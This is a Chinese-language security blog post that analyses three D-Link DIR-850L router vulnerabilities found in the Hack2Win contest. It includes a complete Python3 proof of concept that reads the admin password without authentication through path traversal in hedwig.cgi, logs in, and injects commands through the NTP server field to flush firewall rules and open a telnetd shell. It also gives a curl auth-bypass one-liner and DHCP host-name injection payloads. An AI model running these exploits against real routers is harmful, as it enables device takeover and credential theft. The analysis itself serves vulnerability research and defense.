D-Link DIR 系列路由器信息泄露与远程命令执行漏洞

Posted by JenI on 2017-08-10 00:00:00+08:00

前言

D-Link(友讯网络)是一家生产网络硬件和软件产品的企业,主要产品有交换机、无线产品、宽带产品、网卡、路由器、网络摄像机和网络安全产品(防火墙)等。

今年六月,网上举办了一场针对 D-Link 路由器的 Hack2Win 黑客竞赛,举办方在公网上提供 D-Link 850L 路由器作为攻击目标,竞赛持续了两个月,最终确定了3个漏洞:

  • Remote Command Execution via WAN and LAN
  • Remote Unauthenticated Information Disclosure via WAN and LAN
  • Unauthorized Remote Code Execution as root via LAN

下面是对漏洞的简要分析

漏洞一

正常情况下,当用户在D-Link路由器中修改设置时,设置将会以XML格式发送到hedwig.cgi,hedwig.cgi接收到XML格式的设置请求后,调用fatlady.php用于对设置进行验证,然后再对pigwidgeon.cgi进行请求,pigwidgeon.cgi用来应用新设置,如果新的设置是有效的,则对设置的服务进行重启。

dlinkRce-1

fatlady.php 文件内的 $service 变量直接从接收到的 XML 中获取,所以通过控制请求 XML 中的 service 就可以加载任何带有 .php 拓展的文件,比如,控制 $target 变量指向 /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件即可读取用户的用户名密码。

由于 $target 变量会在 $service 前后拼接路径和后缀,所以在上传 XML 数据时需要将 service 指向的文件路径前加上 ../../../,最终传入路由器的XML如下:

dlinkRce-2

hedwig.cgi 在接收 XML 数据时未进行身份验证,所以无需认证便可以请求 hedwig.cgi 和 pigwidgeon.cgi。

将 XML 数据发送到 hedwig.cgi,设置请求中的 Content-Type 为 text/xml,成功获取路由器的管理用户名密码,如下图所示:

dlinkRce-3

得到用户名密码后成功登陆,如下图:

dlinkRce-4

登陆到管理页面以后,可以通过 NTP 服务器进行 shell 命令注入

dlinkRce-5

根据代码得知,要成功注入命令,需要设置 $enable 和 $enablev6 为 1,所以 XML 内容如下:

dlinkRce-6

设置 $enable 和 $enablev6 为 1,在 server 中设置要执行的命令:配置防火墙并在 12345 端口启动一个 telnetd 服务。构造好 XML后 POST 到 hedwig.cgi,成功后返回结果会显示 OK,如下图所示:

dlinkRce-7

此时通过 telnet 探测目标路由器的 12345 端口是关闭状态。

dlinkRce-8

通过 pigwidgeon.cgi 使设置生效,设置生效的同时命令也被执行了。

dlinkRce-9

再使用 telnet 探测目标端口,发现目标端口成功开放。

dlinkRce-10

漏洞POC(Python3)

# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests

try:
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
    pass

TARGET = sys.argv[1]
COMMAND = ";".join([
    "iptables -F",
    "iptables -X",
    "iptables -t nat -F",
    "iptables -t nat -X",
    "iptables -t mangle -F",
    "iptables -t mangle -X",
    "iptables -P INPUT ACCEPT",
    "iptables -P FORWARD ACCEPT",
    "iptables -P OUTPUT ACCEPT",
    "telnetd -p 23090 -l /bin/date"  # port 'Z2'
    ])

session = requests.Session()
session.verify = False

############################################################

print("Get password...")

headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""

resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)

# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
#       : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]

admin_pasw = ""

tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
    name = acc.findtext("name", "")
    pasw = acc.findtext("password", "")
    print("name:", name)
    print("pass:", pasw)
    if name == "Admin":
        admin_pasw = pasw

if not admin_pasw:
    print("Admin password not found!")
    sys.exit()

############################################################

print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()

print("uid:", resp["uid"])
print("challenge:", resp["challenge"])

session.cookies.update({"uid": resp["uid"]})

print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw

data = {
    "id": user_name,
    "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################

data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

############################################################

print("hedwig")

headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################

print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

漏洞二

D-Link 还存在任意文件读取漏洞。通过设置 $AUTHORIZED_GROUP 全局变量可以绕过安全检查,读取文件。

dlinkRce-11

漏洞POC

$ curl -d "SERVICES=DEVICE.ACCOUNT&x=y%0aAUTHORIZED_GROUP=1" "http://IP/getcfg.php"

漏洞三

这个漏洞由于需要内网环境,我没有相关的设备,所以这个漏洞并没有进行复现,这里只做简单说明。

受影响的 D-Link 路由器会以 root 用户身份运行 dnsmasq 守护进程,守护进程在为客户端分配 IP 时,会加载 "host-name" 参数,如果主机名被设置为命令,则会被执行。

攻击者需要更改自己 DHCP 客户端的主机名,以 Linux 为例,编辑 /etc/dhcp/dhclient.conf ,将主机名字段更该为要执行的命令。

下面的 DHCP 请求会在路由器上执行 ping 命令

send host-name = ";ping 192.168.0.100";

命令执行过程可以通过使用 WireShark 等嗅探工具查看。

下面的请求可以获取服务器部分信息

send host-name = ";for i in `ls /`; do ping $i;done";

此时嗅探网络数据包会得到如下内容:

17:41:42.963917 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.955685 IP 192.168.1.100.37895 > 192.168.1.1.53: 2+ AAAA? www. (21)
17:41:44.955754 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.956251 IP 192.168.1.100.51733 > 192.168.1.1.53: 3+ AAAA? www. (21)
17:41:44.956282 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.956797 IP 192.168.1.100.52958 > 192.168.1.1.53: 4+ AAAA? www. (21)
17:41:44.956821 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.957639 IP 192.168.1.100.49007 > 192.168.1.1.53: 5+ A? www. (21)
17:41:44.957660 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.958327 IP 192.168.1.100.42641 > 192.168.1.1.53: 6+ A? www. (21)
17:41:44.958351 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.958837 IP 192.168.1.100.36077 > 192.168.1.1.53: 7+ A? www. (21)
17:41:44.958857 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.965678 IP 192.168.1.100.49884 > 192.168.1.1.53: 2+ AAAA? var. (21)
17:41:44.965704 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.969792 IP 192.168.1.100.53144 > 192.168.1.1.53: 3+ AAAA? var. (21)
17:41:44.969820 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.970305 IP 192.168.1.100.32949 > 192.168.1.1.53: 4+ AAAA? var. (21)
17:41:44.970326 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.970971 IP 192.168.1.100.48094 > 192.168.1.1.53: 5+ A? var. (21)
17:41:44.970993 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.971505 IP 192.168.1.100.52246 > 192.168.1.1.53: 6+ A? var. (21)
17:41:44.971516 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.972015 IP 192.168.1.100.41323 > 192.168.1.1.53: 7+ A? var. (21)
17:41:44.972036 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.974624 IP 192.168.1.100.50795 > 192.168.1.1.53: 2+ AAAA? usr. (21)
17:41:44.974653 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.975316 IP 192.168.1.100.38359 > 192.168.1.1.53: 3+ AAAA? usr. (21)
17:41:44.975337 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.975827 IP 192.168.1.100.55240 > 192.168.1.1.53: 4+ AAAA? usr. (21)
17:41:44.975848 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.976660 IP 192.168.1.100.44499 > 192.168.1.1.53: 5+ A? usr. (21)
17:41:44.976668 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.979721 IP 192.168.1.100.57446 > 192.168.1.1.53: 6+ A? usr. (21)
17:41:44.979748 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.980401 IP 192.168.1.100.35172 > 192.168.1.1.53: 7+ A? usr. (21)
17:41:44.980422 IP 192.168.1.1 > 192.168.1.100: ICMP 192.168.1.1 udp port 53 unreachable, length 36
17:41:44.983041 IP 192.168.1.100.60090 > 192.168.1.1.53: 2+ AAAA? tmp. (21)

参考

https://blogs.securiteam.com/index.php/archives/3364


作者:   JenI   转载请注明出处,谢谢


Comments !